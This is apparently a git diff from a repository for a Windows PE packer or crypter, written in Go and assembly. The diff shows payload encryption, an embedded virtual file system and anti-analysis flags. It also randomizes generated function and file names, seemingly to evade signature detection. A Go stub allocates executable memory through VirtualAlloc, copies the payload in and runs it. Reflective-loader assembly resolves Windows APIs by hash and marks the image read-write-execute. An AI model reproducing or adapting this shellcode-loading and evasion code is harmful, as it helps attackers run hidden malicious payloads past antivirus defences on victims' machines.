if fi.IsDir() || strings.HasPrefix(fi.Name(), ".") {
|
||||
return nil
|
||||
}
|
||||
relPath, err := filepath.Rel(srcPath, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
b, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fHeader, err := zip.FileInfoHeader(fi)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fHeader.Name = filepath.ToSlash(relPath)
|
||||
fHeader.Method = zip.Deflate
|
||||
f, err := w.CreateHeader(fHeader)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(b)
|
||||
return err
|
||||
}); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return string(out.Bytes())
|
||||
}
|
||||
|
||||
// mustReadFile returns the file contents. Panics on any errors.
|
||||
func mustReadFile(filename string) []byte {
|
||||
b, err := ioutil.ReadFile(filename)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// mustFileHeader returns the zip file info header. Panics on any errors.
|
||||
func mustFileHeader(filename string) *zip.FileHeader {
|
||||
info, err := os.Stat(filename)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
header, err := zip.FileInfoHeader(info)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return header
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
// Copyright 2014 Google Inc. All Rights Reserved.
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package fs
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"path"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Walk walks the file tree rooted at root,
|
||||
// calling walkFn for each file or directory in the tree, including root.
|
||||
// All errors that arise visiting files and directories are filtered by walkFn.
|
||||
//
|
||||
// As with filepath.Walk, if the walkFn returns filepath.SkipDir, then the directory is skipped.
|
||||
func Walk(hfs http.FileSystem, root string, walkFn filepath.WalkFunc) error {
|
||||
dh, err := hfs.Open(root)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
di, err := dh.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fis, err := dh.Readdir(-1)
|
||||
dh.Close()
|
||||
if err = walkFn(root, di, err); err != nil {
|
||||
if err == filepath.SkipDir {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
for _, fi := range fis {
|
||||
fn := path.Join(root, fi.Name())
|
||||
if fi.IsDir() {
|
||||
if err = Walk(hfs, fn, walkFn); err != nil {
|
||||
if err == filepath.SkipDir {
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err = walkFn(fn, fi, nil); err != nil {
|
||||
if err == filepath.SkipDir {
|
||||
continue
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadFile reads the contents of the file of hfs specified by name.
|
||||
// Just as ioutil.ReadFile does.
|
||||
func ReadFile(hfs http.FileSystem, name string) ([]byte, error) {
|
||||
fh, err := hfs.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
_, err = io.Copy(&buf, fh)
|
||||
fh.Close()
|
||||
return buf.Bytes(), err
|
||||
}
|
||||
+2
-9
@@ -5,15 +5,12 @@ import (
|
||||
"unsafe"
|
||||
|
||||
statik "./statik"
|
||||
"github.com/rakyll/statik/fs"
|
||||
"./fs"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
if bypass() {
|
||||
statik.OpenSesame()
|
||||
}
|
||||
|
||||
statik.{{statik}}()
|
||||
VirtualAlloc := syscall.MustLoadDLL("kernel32.dll").MustFindProc("VirtualAlloc")
|
||||
memcpy := syscall.MustLoadDLL("msvcrt.dll").MustFindProc("memcpy")
|
||||
statikFS, _ := fs.New()
|
||||
@@ -22,7 +19,3 @@ func main() {
|
||||
_, _, _ = memcpy.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
|
||||
syscall.Syscall(addr, 0, 0, 0, 0)
|
||||
}
|
||||
|
||||
func bypass() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -36,9 +36,8 @@ start: ;
|
||||
mov rcx,rbx ; lpAddress
|
||||
mov r10d,0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
|
||||
call rbp ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect)
|
||||
test rax,rax ; Check success
|
||||
jz end ; If VirtualAlloc fails don't bother :/
|
||||
add rsp,0x20 ; Clear stack
|
||||
pop rdi ; Clear stack
|
||||
pop rdi ; ...
|
||||
mov rdi,rax ; Save the new base address to rdi
|
||||
|
||||
;#- resolve.asm --------------------------------
|
||||
@@ -98,7 +97,8 @@ LoadLibraryA:
|
||||
mov rcx,rax ; Move the address of library name string to RCX
|
||||
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA(RCX)
|
||||
add rsp,32 ; Fix the stack
|
||||
pop rcx ; Fix the stack
|
||||
pop rcx ; ...
|
||||
pop rcx ; Retreive ecx
|
||||
ret ; <-
|
||||
GetProcAddress:
|
||||
@@ -106,7 +106,8 @@ GetProcAddress:
|
||||
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
||||
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call rbp ; GetProcAddress(RCX,RDX)
|
||||
add rsp,32 ; Retrieve ecx
|
||||
pop rdx ; Retrieve ecx
|
||||
pop rdx ; ...
|
||||
ret ; <-
|
||||
complete:
|
||||
pop rax ; Clean out the stack
|
||||
@@ -131,7 +132,4 @@ memcpy:
|
||||
loop memcpy ; Loop until zero
|
||||
push rdi ; Push the new image base to stack
|
||||
add [rsp],r12 ; Add the address of entry
|
||||
ret ; <-
|
||||
fail:
|
||||
add rsp,0x20 ; Clean stack
|
||||
ret ; <-
|
||||
ret ; <-
|
||||
+5
-4
@@ -35,8 +35,6 @@ start: ;
|
||||
mov ecx,dword 0x00 ; lpAddress
|
||||
mov r10d,0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
test rax,rax ; Check success
|
||||
jz end ; If VirtualAlloc fails don't bother :/
|
||||
add rsp,0x20 ; Clear stack
|
||||
mov rdi,rax ; Save the new base address to rdi
|
||||
|
||||
@@ -85,6 +83,7 @@ pass:
|
||||
reloc_fin: ; All done !
|
||||
|
||||
;#- resolve.asm --------------------------------
|
||||
; (RCX/RDX/R8/R9/R10/R11) = function_parameters
|
||||
; STACK[0] = &_IMPORT_DESCRIPTOR
|
||||
; R13 = Module HANDLE
|
||||
; R14 = &IAT
|
||||
@@ -141,7 +140,8 @@ LoadLibraryA:
|
||||
mov rcx,rax ; Move the address of library name string to RCX
|
||||
mov r10d,0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA([esp+4])
|
||||
add rsp,32 ; Fix the stack
|
||||
pop rcx ; Fix the stack
|
||||
pop rcx ; ...
|
||||
pop rcx ; Retreive ecx
|
||||
ret ; <-
|
||||
GetProcAddress:
|
||||
@@ -149,7 +149,8 @@ GetProcAddress:
|
||||
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
||||
mov r10d,0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
|
||||
call rbp ; GetProcAddress(ebx,[esp+4])
|
||||
add rsp,32 ; Retrieve ecx
|
||||
pop rcx ; Retrieve ecx
|
||||
pop rcx ; ...
|
||||
ret ; <-
|
||||
complete:
|
||||
pop rax ; Clean out the stack
|
||||
|
||||
@@ -92,7 +92,8 @@ insert_iat:
|
||||
all_resolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
add esp,0x08 ; Deallocate index values
|
||||
pop ecx ; Deallocate index values
|
||||
pop ecx ; ...
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
LoadLibraryA:
|
||||
|
||||
+4
-3
@@ -83,8 +83,8 @@ pass:
|
||||
xor edx,edx ; Zero out edx
|
||||
jmp fix ; Loop
|
||||
reloc_fin:
|
||||
add esp,0x08 ; Deallocate all vars
|
||||
|
||||
pop eax ; Deallocate all vars
|
||||
pop eax ; ...
|
||||
;#- resolve.asm ------------------------------
|
||||
; ESI = &PE
|
||||
; EBX = HANDLE(module)
|
||||
@@ -140,7 +140,8 @@ insert_iat:
|
||||
all_resolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
add esp,0x08 ; Deallocate index values
|
||||
pop ecx ; Deallocate index values
|
||||
pop ecx ; ...
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
LoadLibraryA:
|
||||
|
||||
@@ -14,8 +14,8 @@ func crypt() {
|
||||
|
||||
verbose("Ciphering payload...", "*")
|
||||
|
||||
key := GenerateKey(target.keySize)
|
||||
if target.keySize != len(key) {
|
||||
key := GenerateKey(target.KeySize)
|
||||
if target.KeySize != len(key) {
|
||||
verbose(string("Key size rounded to "+strconv.Itoa(len(key))), "*")
|
||||
}
|
||||
payload, err := ioutil.ReadFile(target.workdir + "/payload")
|
||||
@@ -86,3 +86,13 @@ func GenerateKey(Size int) []byte {
|
||||
defer progress()
|
||||
return Key
|
||||
}
|
||||
|
||||
// RandomString .
|
||||
func RandomString(length int) string {
|
||||
charset := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[rand.New(rand.NewSource(time.Now().UnixNano())).Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
@@ -7,15 +7,14 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
nameSourceFile = "payload.go"
|
||||
"github.com/rakyll/statik/fs"
|
||||
)
|
||||
|
||||
var namePackage string = "statik"
|
||||
@@ -24,14 +23,26 @@ var namePackage string = "statik"
|
||||
// flagNoMtime is set.
|
||||
var mtimeDate = time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC)
|
||||
|
||||
func statik(namePackage, src, dest string) {
|
||||
verbose("Extracting statik files...", "*")
|
||||
file, err := generateSource(src)
|
||||
func statik(src, dest string) string {
|
||||
verbose("Creating virtual file system...", "*")
|
||||
file, id, err := generateSource(src)
|
||||
parseErr(err)
|
||||
destDir := path.Join(dest, namePackage)
|
||||
err = os.MkdirAll(destDir, 0755)
|
||||
parseErr(err)
|
||||
err = rename(file.Name(), path.Join(destDir, nameSourceFile))
|
||||
err = rename(file.Name(), path.Join(destDir, RandomString(10)+".go"))
|
||||
parseErr(err)
|
||||
defer progress()
|
||||
return id
|
||||
}
|
||||
|
||||
func extract(hfs http.FileSystem, fileName string, dst string) {
|
||||
rawFile, err := fs.ReadFile(hfs, fileName)
|
||||
parseErr(err)
|
||||
file, err := os.Create(target.workdir + "/" + dst)
|
||||
parseErr(err)
|
||||
defer file.Close()
|
||||
_, err = file.Write(rawFile)
|
||||
parseErr(err)
|
||||
defer progress()
|
||||
}
|
||||
@@ -75,7 +86,7 @@ func rename(src, dest string) error {
|
||||
// that contains source directory's contents as zip contents.
|
||||
// Generates source registers generated zip contents data to
|
||||
// be read by the statik/fs HTTP file system.
|
||||
func generateSource(srcPath string) (file *os.File, err error) {
|
||||
func generateSource(srcPath string) (file *os.File, id string, err error) {
|
||||
var (
|
||||
buffer bytes.Buffer
|
||||
zipWriter io.Writer
|
||||
@@ -123,22 +134,22 @@ func generateSource(srcPath string) (file *os.File, err error) {
|
||||
_, err = f.Write(b)
|
||||
return err
|
||||
}); err != nil {
|
||||
return
|
||||
return nil, "", err
|
||||
}
|
||||
if err = w.Close(); err != nil {
|
||||
return
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
funcID := RandomString(10)
|
||||
// then embed it as a quoted string
|
||||
var qb bytes.Buffer
|
||||
fmt.Fprintf(&qb, `
|
||||
package %s
|
||||
|
||||
import (
|
||||
"github.com/rakyll/statik/fs"
|
||||
"../fs"
|
||||
)
|
||||
|
||||
func OpenSesame() {
|
||||
func `+funcID+`() {
|
||||
data := "`, namePackage)
|
||||
FprintZipData(&qb, buffer.Bytes())
|
||||
fmt.Fprint(&qb, `"
|
||||
@@ -147,9 +158,9 @@ func OpenSesame() {
|
||||
`)
|
||||
|
||||
if err = ioutil.WriteFile(f.Name(), qb.Bytes(), 0644); err != nil {
|
||||
return
|
||||
return nil, "", err
|
||||
}
|
||||
return f, nil
|
||||
return f, funcID, nil
|
||||
}
|
||||
|
||||
// FprintZipData converts zip binary contents to a string literal.
|
||||
|
||||
+1
-1
File diff suppressed because one or more lines are too long
@@ -15,10 +15,11 @@ const VERSION string = "2.0.0"
|
||||
type ID struct {
|
||||
|
||||
// Parameters...
|
||||
fileName string
|
||||
keySize int
|
||||
FileName string
|
||||
KeySize int
|
||||
key []byte
|
||||
reflective bool
|
||||
AntiAnalysis bool
|
||||
iat bool
|
||||
resource bool
|
||||
scrape bool
|
||||
@@ -26,16 +27,16 @@ type ID struct {
|
||||
debug bool
|
||||
help bool
|
||||
clean bool
|
||||
ignoreIntegrity bool
|
||||
IgnoreIntegrity bool
|
||||
|
||||
// System anaylsis
|
||||
nasm string
|
||||
workdir string
|
||||
|
||||
// PE analysis
|
||||
fileSize string
|
||||
FileSize string
|
||||
arch string
|
||||
imageBase uint64
|
||||
ImageBase uint64
|
||||
subsystem uint16
|
||||
aslr bool
|
||||
dll bool
|
||||
@@ -51,8 +52,6 @@ var green *color.Color = color.New(color.FgGreen)
|
||||
var BoldGreen *color.Color = green.Add(color.Bold)
|
||||
var white *color.Color = color.New(color.FgWhite)
|
||||
|
||||
//var BoldWhite *color.Color = white.Add(color.Bold)
|
||||
|
||||
var progressBar *pb.ProgressBar
|
||||
var target ID
|
||||
|
||||
|
||||
Reference in New Issue
Block a user